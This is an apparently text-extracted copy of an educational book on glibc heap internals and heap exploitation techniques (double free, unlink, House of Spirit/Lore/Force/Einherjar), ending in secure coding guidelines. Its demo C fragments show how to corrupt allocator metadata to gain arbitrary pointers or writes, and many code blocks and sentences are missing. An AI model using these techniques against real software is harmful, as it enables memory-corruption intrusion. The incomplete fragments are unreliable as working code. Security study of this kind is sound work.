Heap Exploitation
Heap Exploitation
Heap Exploitation
of Contents
Preface 1.1
Author 1.2
Introduction 1.3
Heap Memory 1.4
Diving into glibc heap 1.5
malloc_chunk 1.5.1
malloc_state 1.5.2
Bins and Chunks 1.5.3
Internal Functions 1.5.4
Core Functions 1.5.5
Security Checks 1.5.6
Heap Exploitation 1.6
First Fit 1.6.1
Double Free 1.6.2
Forging chunks 1.6.3
Unlink Exploit 1.6.4
Shrinking Free Chunks 1.6.5
House of Spirit 1.6.6
House of Lore 1.6.7
House of Force 1.6.8
House of Einherjar 1.6.9
Secure Coding Guidelines 1.7
2
Preface
Heap Exploitation
This short book is written for people who want to understand the internals of 'heap memory',
particularly the implementation of glibc's 'malloc' and 'free' procedures, and also for security
researchers who want to get started in the field of heap exploitation.
The first section of the book covers an in-depth, yet concise, description about heap
internals. The second section covers some of the most famous attacks. It is assumed that
the reader is unfamiliar with this topic. For experienced readers, this text might be good for a
quick revision.
This is not the final version and will keep on updating. For contributing see this.
The source code for the book can be found on GitHub.
The canonical URL for the book is https://heap-exploitation.dhavalkapil.com.
You can subscribe for updates on the book website.
Read for free online (recommended) or download the PDF or ePUB or Mobi/Kindle editions.
3
Author
Author
I am Dhaval Kapil, also known as 'vampire'. I am a software security enthusiast, always
reading up or trying to find vulnerabilities in everyday software. I'll be graduating from Indian
Institute of Technology Roorkee(IIT Roorkee) in Computer Science this year. I was part of
SDSLabs, where I developed Backdoor. I'll be joining Georgia Tech as a Master's student
this fall. Software development is my hobby and I've also completed the Google Summer of
Code program twice. Find me on Github and Twitter.
This book started out as an article for my blog. Eventually, a lot of matter filled in and it
transformed into a short book. These are a collection of my notes, gathered by looking up
various online resources regarding heap and heap exploitation.
4
Introduction
Introduction
This book is for understanding the structure of heap memory as well as the different kinds of
exploitation techniques related to it. The material provided covers in detail the
implementation of glibc's heap and related memory management functions. Next, different
types of attacks are discussed.
Prerequisites
It is assumed that the reader is unfamiliar about the internals of standard library procedures
such as 'malloc' and 'free'. However, basic knowledge about 'C' and overflowing the buffer is
required. These can be covered in this blog post.
Setup
All the programs provided in the following sections work well with POSIX compatible
machines. Only the implementation of glibc's heap is discussed.
5
Heap Memory
Heap memory
What is Heap?
Heap is a memory region allotted to every program. Unlike stack, heap memory can be
dynamically allocated. This means that the program can 'request' and 'release' memory from
the heap segment whenever it requires. Also, this memory is global, i.e. it can be accessed
and modified from anywhere within a program and is not localized to the function where it is
allocated. This is accomplished using 'pointers' to reference dynamically allocated memory
which in turn leads to a small degradation in performance as compared to using local
variables (on the stack).
strcpy(buffer, "hello");
printf("%s\n", buffer); // prints "hello"
malloc:
6
Heap Memory
/*
malloc(size_t n)
Returns a pointer to a newly allocated chunk of at least n
bytes, or null if no space is available. Additionally, on
failure, errno is set to ENOMEM on ANSI C systems.
free:
/*
free(void* p)
Releases the chunk of memory pointed to by p, that had been
previously allocated using malloc or a related routine such as
realloc. It has no effect if p is null. It can have arbitrary
(i.e., bad!) effects if p has already been freed.
It is important to note that these memory allocation functions are provided by the standard
library. These functions provide a layer between the developer and the operating system that
efficiently manages heap memory. It is the responsibility of the developer to 'free' any
allocated memory after using it exactly once. Internally, these functions use two system calls
sbrk and mmap to request and release heap memory from the operating system. This post
discusses these system calls in detail.
7
Diving into glibc heap
Apart from the source code, the matter presented is influenced by:
Before moving into the implementation, it is important to keep the following notes in mind:
defined as sbrk .
Next, we shall study the different data types used internally, bins, chunks, and internals of
the different functions used.
Additional Resources
1. r2Con2016 Glibc Heap Analysis with radare2 video
8
malloc_chunk
malloc_chunk
This structure represents a particular chunk of memory. The various fields have different
meaning for allocated and unallocated chunks.
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Allocated chunk
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Notice how the data of an allocated chunk uses the first attribute ( mchunk_prev_size ) of the
next chunk. mem is the pointer which is returned to the user.
Free chunk
9
malloc_chunk
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
P (PREV_INUSE): 0 when previous chunk (not the previous chunk in the linked list, but the
one directly before it in memory) is free (and hence the size of previous chunk is stored in
the first field). The very first chunk allocated has this bit set. If it is 1, then we cannot
determine the size of the previous chunk.
M (IS_MMAPPED): The chunk is obtained through mmap . The other two bits are ignored.
mmapped chunks are neither in an arena, not adjacent to a free chunk.
A (NON_MAIN_ARENA): 0 for chunks in the main arena. Each thread spawned receives its
own arena and for those chunks, this bit is set.
Note: Chunks in fastbins are treated as allocated chunks in the sense that they are not
consolidated with neighboring free chunks.
10
malloc_state
malloc_state
This structure represents the header details of an Arena. The main thread's arena is a global
variable and not part of the heap segment. Arena headers ( malloc_state structures) for
other threads are themselves stored in the heap segment. Non main arenas can have
multiple heaps ('heap' here refers to the internal structure used instead of the heap segment)
associated with them.
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
11
malloc_state
12
Bins and Chunks
1. Fast bin
2. Unsorted bin
3. Small bin
4. Large bin
Unsorted, small and large bins are maintained using a single array:
Initially, during the initialization process, small and large bins are empty.
Each bin is represented by two values in the bins array. The first one is a pointer to the
'HEAD' and the second one is a pointer to the 'TAIL' of the bin list. In the case of fast bins
(singly linked list), the second value is NULL.
Fast bins
There are 10 fast bins. Each of these bins maintains a single linked list. Addition and
deletion happen from the front of this list (LIFO manner).
Each bin has chunks of the same size. The 10 bins each have chunks of sizes: 16, 24, 32,
40, 48, 56, 64, 72, 80 and 88. Sizes mentioned here include metadata as well. To store
chunks, 4 fewer bytes will be available (on a platform where pointers use 4 bytes). Only the
prev_size and size field of this chunk will hold meta data for allocated chunks.
13
Bins and Chunks
Unsorted bin
There is only 1 unsorted bin. Small and large chunks, when freed, end up in this bin. The
primary purpose of this bin is to act as a cache layer (kind of) to speed up allocation and
deallocation requests.
Small bins
There are 62 small bins. Small bins are faster than large bins but slower than fast bins. Each
bin maintains a doubly-linked list. Insertions happen at the 'HEAD' while removals happen at
the 'TAIL' (in a FIFO manner).
Like fast bins, each bin has chunks of the same size. The 62 bins have sizes: 16, 24, ... ,
504 bytes.
While freeing, small chunks may be coalesced together before ending up in unsorted bins.
Large bins
There are 63 large bins. Each bin maintains a doubly-linked list. A particular large bin has
chunks of different sizes, sorted in decreasing order (i.e. largest chunk at the 'HEAD' and
smallest chunk at the 'TAIL'). Insertions and removals happen at any position within the list.
To summarize:
14
Bins and Chunks
Like small chunks, while freeing, large chunks may be coalesced together before ending up
in unsorted bins.
There are two special types of chunks which are not part of any bin.
Top chunk
It is the chunk which borders the top of an arena. While servicing 'malloc' requests, it is used
as the last resort. If still more size is required, it can grow using the sbrk system call. The
PREV_INUSE flag is always set for the top chunk.
15
Internal Functions
Internal functions
This is a list of some common functions used internally. Note that some functions are in fact
defined using the #define directive. So, changes to call parameters are in fact retained
after the call. Also, it is assumed that MALLOC_DEBUG is not set.
sysmalloc [TODO]
/*
sysmalloc handles malloc cases requiring more memory from the system.
On entry, it is assumed that av->top does not have enough
space to service request for nb bytes, thus requiring that av->top
be extended or replaced.
*/
16
Internal Functions
/*
Initialize a malloc_state struct.
1. For non fast bins, create empty circular linked lists for each bin.
2. Set FASTCHUNKS_BIT flag for av .
3. Initialize av->top to the first unsorted chunk.
1. Check if chunk size is equal to the previous size set in the next chunk. Else, an error
("corrupted size vs. prev_size") is thrown.
2. Check if P->fd->bk == P and P->bk->fd == P . Else, an error ("corrupted double-linked
list") is thrown.
3. Adjust forward and backward pointers of neighboring chunks (in list) to facilitate
removal:
i. Set P->fd->bk = P->bk .
ii. Set P->bk->fd = P->fd .
17
Internal Functions
iv. If next chunk (by memory) was a top chunk, merge the chunks appropriately into a
single top chunk.
Note: The check for 'in use' is done using PREV_IN_USE flag. Hence, other fastbin chunks
won't identified as free here.
18
Core Functions
Core functions
i. Get index into the fastbin array to access an appropriate bin according to the
request size.
ii. Removes the first chunk in that bin and make victim point to it.
iii. If victim is NULL, move on to the next case (smallbin).
iv. If victim is not NULL, check the size of the chunk to ensure that it belongs to
that particular bin. An error ("malloc(): memory corruption (fast)") is thrown
otherwise.
v. Calls alloc_perturb and then returns the pointer.
If size falls in the smallbin range:
i. Get index into the smallbin array to access an appropriate bin according to the
request size.
ii. If there are no chunks in this bin, move on to the next case. This is checked by
comparing the pointers bin and bin->bk .
iii. victim is made equal to bin->bk (the last chunk in the bin). If it is NULL
i. Get index into the largebin array to access an appropriate bin according to the
19
Core Functions
request size.
ii. See if av has fastchunks or not. This is done by checking the
FASTCHUNKS_BIT in av->flags . If so, call malloc_consolidate on av .
5. If no pointer has yet been returned, this signifies one or more of the following cases:
ii. Check if victim 's chunk size is within minimum ( 2*SIZE_SZ ) and maximum ( av-
>system_mem ) range. Throw an error ("malloc(): memory corruption") otherwise.
iii. If (size of requested chunk falls in smallbin range) and ( victim is the last
remainder chunk) and (it is the only chunk in the unsorted bin) and (the chunks size
>= the one requested): Break the chunk into 2 chunks:
The first chunk matches the size requested and is returned.
Left over chunk becomes the new last remainder chunk. It is inserted back into
the unsorted bin.
i. Set chunk_size and chunk_prev_size fields appropriately for both
chunks.
ii. The first chunk is returned after calling alloc_perturb .
iv. If the above condition is false, control reaches here. Remove victim from the
unsorted bin. If the size of victim matches the size requested exactly, return this
chunk after calling alloc_perturb .
v. If victim 's size falls in smallbin range, add the chunk in the appropriate smallbin
at the HEAD .
vi. Else insert into appropriate largebin while maintaining sorted order:
First checks the last chunk (smallest). If victim is smaller than the last chunk,
insert it at the last.
Otherwise, loop to find a chunk with size >= size of victim . If size is exactly
same, always insert in the second position.
vii. Repeat this whole step a maximum of MAX_ITERS (10000) times or till all chunks in
unsorted bin get exhausted.
7. After checking unsorted chunks, check if requested size does not fall in the smallbin
range, if so then check largebins.
i. Get index into largebin array to access an appropriate bin according to the request
size.
20
Core Functions
ii. If the size of the largest chunk (the first chunk in the bin) is greater than the size
requested:
i. Iterate from 'TAIL' to find a chunk ( victim ) with the smallest size >= the
requested size.
ii. Call unlink to remove the victim chunk from the bin.
iii. Calculate remainder_size for the victim 's chunk (this will be victim 's
chunk size - requested size).
iv. If this remainder_size >= MINSIZE (the minimum chunk size including the
headers), split the chunk into two chunks. Otherwise, the entire victim chunk
will be returned. Insert the remainder chunk in the unsorted bin (at the 'TAIL'
end). A check is made in unsorted bin whether unsorted_chunks(av)->fd->bk ==
unsorted_chunks(av) . An error is thrown otherwise ("malloc(): corrupted
unsorted chunks").
v. Return the victim chunk after calling alloc_perturb .
8. Till now, we have checked unsorted bin and also the respective fast, small or large bin.
Note that a single bin (fast or small) was checked using the exact size of the requested
chunk. Repeat the following steps till all bins are exhausted:
i. The index into bin array is incremented to check the next bin.
ii. Use av->binmap map to skip over bins that are empty.
iii. victim is pointed to the 'TAIL' of the current bin.
iv. Using the binmap ensures that if a bin is skipped (in the above 2nd step), it is
definitely empty. However, it does not ensure that all empty bins will be skipped.
Check if the victim is empty or not. If empty, again skip the bin and repeat the
above process (or 'continue' this loop) till we arrive at a nonempty bin.
v. Split the chunk ( victim points to the last chunk of a nonempty bin) into two
chunks. Insert the remainder chunk in unsorted bin (at the 'TAIL' end). A check is
made in the unsorted bin whether unsorted_chunks(av)->fd->bk ==
unsorted_chunks(av) . An error is thrown otherwise ("malloc(): corrupted unsorted
chunks 2").
vi. Return the victim chunk after calling alloc_perturb .
9. If still no empty bin is found, 'top' chunk will be used to service the request:
ii. If size of 'top' chunk >= 'requested size' + MINSIZE , split it into two chunks. In this
case, the remainder chunk becomes the new 'top' chunk and the other chunk is
returned to the user after calling alloc_perturb .
iii. See if av has fastchunks or not. This is done by checking the FASTCHUNKS_BIT in
av->flags . If so, call malloc_consolidate on av . Return to step 6 (where we
21
Core Functions
22
Core Functions
23
Security Checks
Security Checks
This presents a summary of the security checks introduced in glibc's implementation to
detect and prevent heap related attacks.
For a chunk with size in fastbin range, check if next free(): invalid
_int_free chunk's size is between minimum and maximum size next size
( av->system_mem ) (fast)
double free
While inserting fast chunk into fastbin (at HEAD ), check
_int_free or corruption
whether the chunk already at HEAD is not the same
(fasttop)
24
Security Checks
While inserting fast chunk into fastbin (at HEAD ), check invalid fastbin
_int_free whether size of the chunk at HEAD is same as the entry (free)
chunk to be inserted
If the chunk is not within the size range of fastbin and double free
_int_free neither it is a mmapped chunks, check whether it is not or corruption
the same as the top chunk (top)
double free
Check whether next chunk (by memory) is within the
_int_free or corruption
boundaries of the arena
(out)
double free
Check whether next chunk's (by memory) previous in
_int_free or corruption
use bit is marked
(!prev)
free(): invalid
Check whether size of next chunk is within the
_int_free next size
minimum and maximum size ( av->system_mem )
(normal)
free():
While inserting the coalesced chunk into unsorted bin, corrupted
_int_free check whether unsorted_chunks(av)->fd->bk ==
unsorted_chunks(av)
unsorted
chunks
25
Heap Exploitation
Heap Exploitation
The glibc library provides functions such as free and malloc to help developers
manage the heap memory according to their use cases. It is the responsibility of the
developer to:
Failing to do makes the software vulnerable to various kinds of attacks. Shellphish, a famous
Capture the Flag team from UC Santa Barbara, has done a great job in listing a variety of
heap exploitation techniques in how2heap. Attacks described in "The Malloc Maleficarum"
by "Phantasmal Phantasmagoria" in an email to the "Bugtraq" mailing list are also described.
26
Heap Exploitation
27
First Fit
First-fit behavior
This technique describes the 'first-fit' behavior of glibc's allocator. Whenever any chunk (not
a fast chunk) is freed, it ends up in the unsorted bin. Insertion happens at the HEAD of the
list. On requesting new chunks (again, non fast chunks), initially unsorted bins will be looked
up as small bins will be empty. This lookup is from the TAIL end of the list. If a single chunk
is present in the unsorted bin, an exact check is not made and if the chunk's size >= the one
requested, it is split into two and returned. This ensures first in first out behavior.
free(a);
a = malloc(250); // 0x***010
1. 'a' freed.
head -> a -> tail
2. 'malloc' request.
head -> a2 -> tail [ 'a1' is returned ]
'a' chunk is split into two chunks 'a1' and 'a2' as the requested size (250 bytes) is smaller
than the size of the chunk 'a' (300 bytes). This corresponds to [6. iii.] in _int_malloc .
This is also true in the case of fast chunks. Instead of 'freeing' into unsorted bin, fast
chunks end up in fastbins . As mentioned earlier, fastbins maintain a singly linked list
and chunks are inserted and deleted from the HEAD end. This 'reverses' the order of chunks
obtained.
28
First Fit
free(a);
free(b);
free(c);
free(d);
a = malloc(20); // 0xe4b070
b = malloc(20); // 0xe4b050
c = malloc(20); // 0xe4b030
d = malloc(20); // 0xe4b010
1. 'a' freed.
head -> a -> tail
2. 'b' freed.
head -> b -> a -> tail
3. 'c' freed.
head -> c -> b -> a -> tail
4. 'd' freed.
head -> d -> c -> b -> a -> tail
5. 'malloc' request.
head -> c -> b -> a -> tail [ 'd' is returned ]
6. 'malloc' request.
head -> b -> a -> tail [ 'c' is returned ]
7. 'malloc' request.
head -> a -> tail [ 'b' is returned ]
8. 'malloc' request.
head -> tail [ 'a' is returned ]
The smaller size here (20 bytes) ensured that on freeing, chunks went into fastbins
instead of the unsorted bin.
29
First Fit
In the above examples, we see that, malloc might return chunks that were earlier used and
freed. This makes using freed memory chunks vulnerable. Once a chunk has been freed, it
should be assumed that the attacker can now control the data inside the chunk. That
particular chunk should never be used again. Instead, always allocate a new chunk.
// Some operations
// ..
// ..
free(ch);
// Some operations
// ..
// ..
30
Double Free
Double Free
Freeing a resource more than once can lead to memory leaks. The allocator's data
structures get corrupted and can be exploited by an attacker. In the sample program below,
a fastbin chunk will be freed twice. Now, to avoid 'double free or corruption (fasttop)' security
check by glibc, another chunk will be freed in between the two frees. This implies that the
same chunk will be returned by two different 'mallocs'. Both the pointers will point to the
same memory address. If one of them is under the control of an attacker, he/she can modify
memory for the other pointer leading to various kinds of attacks (including code executions).
a = malloc(10); // 0xa04010
b = malloc(10); // 0xa04030
c = malloc(10); // 0xa04050
free(a);
free(b); // To bypass "double free or corruption (fasttop)" check
free(a); // Double Free !!
d = malloc(10); // 0xa04010
e = malloc(10); // 0xa04030
f = malloc(10); // 0xa04010 - Same as 'd' !
1. 'a' freed.
head -> a -> tail
2. 'b' freed.
head -> b -> a -> tail
31
Double Free
Now, 'd' and 'f' pointers point to the same memory address. Any changes in one will affect
the other.
Note that this particular example will not work if size is changed to one in smallbin range.
With the first free, a's next chunk will set the previous in use bit as '0'. During the second
free, as this bit is '0', an error will be thrown: "double free or corruption (!prev)" error.
32
Forging chunks
Forging chunks
After a chunk is freed, it is inserted in a binlist. However, the pointer is still available in the
program. If the attacker has control of this pointer, he/she can modify the linked list structure
in bins and insert his/her own 'forged' chunk. The sample program shown below shows how
this is possible in the case of fastbin freelist.
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
The forged chunk's size parameter was set equal to 0x20 so that it passes the security
check "malloc(): memory corruption (fast)". This check checks whether the size of the chunk
falls in the range for that particular fastbin. Also, note that the data for an allocated chunk
starts from the 'fd' pointer. This is also evident in the above program as victim points
0x10 (0x8+0x8) bytes ahead of the 'forged chunk'.
1. 'a' freed.
head -> a -> tail
33
Forging chunks
3. 'malloc' request
head -> forged chunk -> undefined
Another 'malloc' request for the fast chunk in the same bin list will result in segmentation
fault.
Even though we request for 10 bytes and set the size of the forged chunk as 32 (0x20)
bytes, both fall in the same fastbin range of 32-byte chunks.
This attack for small and large chunks will be seen later as 'House of Lore'.
The above code is designed for 64-bit machines. To run it on 32-bit machines, replace
unsigned long long with unsigned int as pointers are now 4 bytes instead of 8 bytes.
Also, instead of using 32 bytes as size for forged chunk, a small of the size of around 17
bytes should work.
34
Unlink Exploit
Unlink Exploit
This particular attack was once quite common. However, two security checks were added in
the unlink MACRO ("corrupted size vs. prev_size" and "corrupted double-linked list")
which reduced the impact of the attack to some extent. Nevertheless, it is worthwhile to
spend some time on it. It exploits the pointer manipulation done in the unlink MACRO
while removing a chunk from a bin.
35
Unlink Exploit
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
This might look a little complicated compared to other attacks. First, we malloc two chunks
chunk1 and chunk2 with size 0x80 to ensure that they fall in the smallbin range. Next, we
assume that the attacker somehow has unbounded control over the contents of chunk1
(this can be using any 'unsafe' function such as strcpy on user input). Notice that both the
36
Unlink Exploit
chunks will lie in the memory side by side. The code shown above uses custom struct
chunk_structure for clarity purposes only. In an attack scenario, the attacker shall simply
send bytes to fill in chunk1 that would have the same effect as above.
A new fake chunk is created in the 'data' part of chunk1 . The fd and bk pointers are
adjusted to pass the "corrupted double-linked list" security check. The contents of the
attacker are overflowed into chunk2 's header that sets appropriate prev_size and
prev_in_use bit. This ensures that whenever chunk2 is freed, the fake_chunk will be
detected as 'freed' and will be unlinked '. The following diagrams shows the current state of
the various memory regions:
Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed.
This shall give an intuition regarding how to adjust the fd and bk pointers of the fake
chunk.
As soon as chunk2 is freed, it is handled as a small bin. Recall that previous and next
chunks (by memory) are checked whether they are 'free' or not. If any chunk is detected as
'free', it is unlinked for the purpose of merging consecutive free chunks. The unlink
MACRO executes the following two instructions that modify pointers:
In this case, both P->fd->bk and P->bk->fd point to the same location so only the second
update is noticed. The following diagram shows the effects of the second update just after
chunk2 is freed.
37
Unlink Exploit
Now, we have chunk1 pointing to 3 addresses (16-bit) behind itself ( &chunk1 - 3 ). Hence,
chunk1[3] is in fact the chunk1 . Changing chunk1[3] is like changing chunk1 . Notice that
example, chunk1 was made to point to a 'data' variable and changes through chunk1 were
reflected on that variable.
Earlier, with the absence of security checks in unlink , the two write instructions in the
unlink MACRO were used to achieve arbitrary writes. By overwriting .got sections, this
38
Shrinking Free Chunks
39
Shrinking Free Chunks
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[19]; // padding
};
// free b, now there is a large gap between 'a' and 'c' in memory
// b will end up in unsorted bin
free(b);
// Attacker overflows 'a' and overwrites least significant byte of b's size
// with 0x00. This will decrease b's size.
*(char *)&b_chunk->size = 0x00;
// Free b1
free(b1);
// Free c
// This will now consolidate with b/b1 thereby merging b2 within it
// This is because c's prev_in_use bit is still 0 and its previous size
// points to b/b1
40
Shrinking Free Chunks
free(c);
big now points to the initial b chunk and overlaps with b2 . Updating contents of big
updates contents of b2 , even when both these chunks are never passed to free .
Note that instead of shrinking b , the attacker could also have increased the size of b .
This will result in a similar case of overlap. When 'malloc' requests another chunk of the
increased size, b will be used to service this request. Now c 's memory will also be part of
this new chunk returned.
41
House of Spirit
House of Spirit
The House of Spirit is a little different from other attacks in the sense that it involves an
attacker overwriting an existing pointer before it is 'freed'. The attacker creates a 'fake
chunk', which can reside anywhere in the memory (heap, stack, etc.) and overwrites the
pointer to point to it. The chunk has to be crafted in such a manner so as to pass all the
security tests. This is not difficult and only involves setting the size and next chunk's
size . When the fake chunk is freed, it is inserted in an appropriate binlist (preferably a
fastbin). A future malloc call for this size will return the attacker's fake chunk. The end result
is similar to 'forging chunks attack' described earlier.
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
42
House of Spirit
Notice that, as expected, the returned pointer is 0x10 or 16 bytes ahead of fake_chunks[0] .
This is the address where the fd pointer is stored. This attack gives a surface for more
attacks. victim points to memory on the stack instead of heap segment. By modifying the
return addresses on the stack, the attacker can control the execution of the program.
43
House of Lore
House of Lore
This attack is basically the forging chunks attack for small and large bins. However, due to
an added protection for large bins in around 2007 (the introduction of fd_nextsize and
bk_nextsize ) it became impractical. Here we shall see the case only for small bins. First, a
small chunk will be placed in a small bin. It's bk pointer will be overwritten to point to a fake
small chunk. Note that in the case of small bins, insertion happens at the HEAD and removal
at the TAIL . A malloc call will first remove the authentic chunk from the bin making the
attacker's fake chunk at the TAIL of the bin. The next malloc will return the attacker's
chunk.
44
House of Lore
struct small_chunk {
size_t prev_size;
size_t size;
struct small_chunk *fd;
struct small_chunk *bk;
char buf[0x64]; // chunk falls in smallbin size range
};
// We also need this 'victim->bk->fd == victim' test to pass for fake chunk
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
// Next malloc for that size will return the fake chunk
victim = malloc(len); // points at address 0x7ffdeb37d060
45
House of Lore
Notice that the steps needed for forging a small chunk are more due to the complicated
handling of small chunks. Particular care was needed to ensure that victim->bk->fd equals
victim for every small chunk that is to be returned from 'malloc', to pass the "malloc():
smallbin double linked list corrupted" security check. Also, extra 'malloc' calls were added in
between to ensure that:
1. The first chunk goes to the unsorted bin instead of merging with the top chunk on
freeing.
2. The first chunk goes to the small bin as it does not satisfy a malloc request for len +
0x10 .
The state of the unsorted bin and the small bin are shown:
Small bin:
Small bin:
Small bin:
Small bin:
Small bin:
46
House of Lore
Note that another 'malloc' call for the corresponding small bin will result in a segmentation
fault.
47
House of Force
House of Force
Similar to 'House of Lore', this attack focuses on returning an arbitrary pointer from 'malloc'.
Forging chunks attack was discussed for fastbins and the 'House of Lore' attack was
discussed for small bins. The 'House of Force' exploits the 'top chunk'. The topmost chunk is
also known as the 'wilderness'. It borders the end of the heap (i.e. it is at the maximum
address within the heap) and is not present in any bin. It follows the same format of the
chunk structure.
This attack assumes an overflow into the top chunk's header. The size is modified to a
very large value ( -1 in this example). This ensures that all initial requests will be services
using the top chunk, instead of relying on mmap . On a 64 bit system, -1 evaluates to
0xFFFFFFFFFFFFFFFF . A chunk with this size can cover the entire memory space of the
program. Let us assume that the attacker wishes 'malloc' to return address P . Now, any
malloc call with the size of: &top_chunk - P will be serviced using the top chunk. Note that
P can be after or before the top_chunk . If it is before, the result will be a large positive
value (because size is unsigned). It will still be less than -1 . An integer overflow will occur
and malloc will successfully service this request using the top chunk. Now, the top chunk will
point to P and any future requests will return P !
48
House of Force
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
// The top chunk again will service the request and return 'victim'
ptr = malloc(100); // At 0x601060 !! (Same as 'victim')
1. While deducing the exact pointer to top_chunk , 0 out the three lower bits of the
previous chunk to obtain correct size.
2. While calculating requestSize, an additional buffer of around 8 bytes was reduced.
49
House of Force
This was just to counter the rounding up malloc does while servicing chunks.
Incidentally, in this case, malloc returns a chunk with 8 additional bytes than
requested. Notice that this is machine dependent.
3. victim can be any address (on heap, stack, bss, etc.).
50
House of Einherjar
House of Einherjar
This house is not part of "The Malloc Maleficarum". This heap exploitation technique was
given by Hiroki Matsukuma in 2016. This attack also revolves around making 'malloc' return
a nearly arbitrary pointer. Unlike other attacks, this requires just a single byte of overflow.
There exists much more software vulnerable to a single byte of overflow mainly due to the
famous "off by one" error. It overwrites into the 'size' of the next chunk in memory and clears
the PREV_IN_USE flag to 0. Also, it overwrites into prev_size (already in the previous
chunk's data region) a fake size. When the next chunk is freed, it finds the previous chunk to
be free and tries to consolidate by going back 'fake size' in memory. This fake size is so
calculated so that the consolidated chunk ends up at a fake chunk, which will be returned by
subsequent malloc.
51
House of Einherjar
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[32]; // padding
};
// Fake chunk
fake_chunk.size = 0x100; // enough size to service the malloc request
// These two will ensure that unlink security checks pass
// i.e. P->fd->bk == P and P->bk->fd == P
fake_chunk.fd = &fake_chunk;
fake_chunk.bk = &fake_chunk;
// Overwrite ptr2's prev_size so that ptr2's chunk - prev_size points to our fake chunk
// Free the second chunk. It will detect the previous chunk in memory as free and try
// to merge with it. Now, top chunk will point to fake_chunk
free(ptr2);
52
House of Einherjar
1. The second chunk's size was given as 0xf8 . This simply ensured that the actual
chunk's size has the least significant byte as 0 (ignoring the flag bits). Hence, it was a
simple matter to set the previous in use bit to 0 without changing the size of this
chunk.
2. The allotedSize was further decreased by sizeof(size_t) . allotedSize is equal to
the size of the complete chunk. However, the size allowed for data is sizeof(size_t)
less, or the equivalent of the size parameter in the heap. This is because size and
prev_size of the current chunk cannot be used, but the prev_size of the next chunk
can be used.
3. Fake chunk's forward and backward pointers were adjusted to pass the security check
in unlink .
53
Secure Coding Guidelines
Here, some secure coding guidelines are presented. If the software is developed keeping
these in mind, it will prevent the previously mentioned attacks:
1. Use only the amount of memory asked using malloc. Make sure not to cross either
boundary.
2. Free only the memory that was dynamically allocated exactly once.
3. Never access freed memory.
4. Always check the return value of malloc for NULL .
The above-mentioned guidelines are to be followed strictly. Below are some additional
guidelines that will help to further prevent attacks:
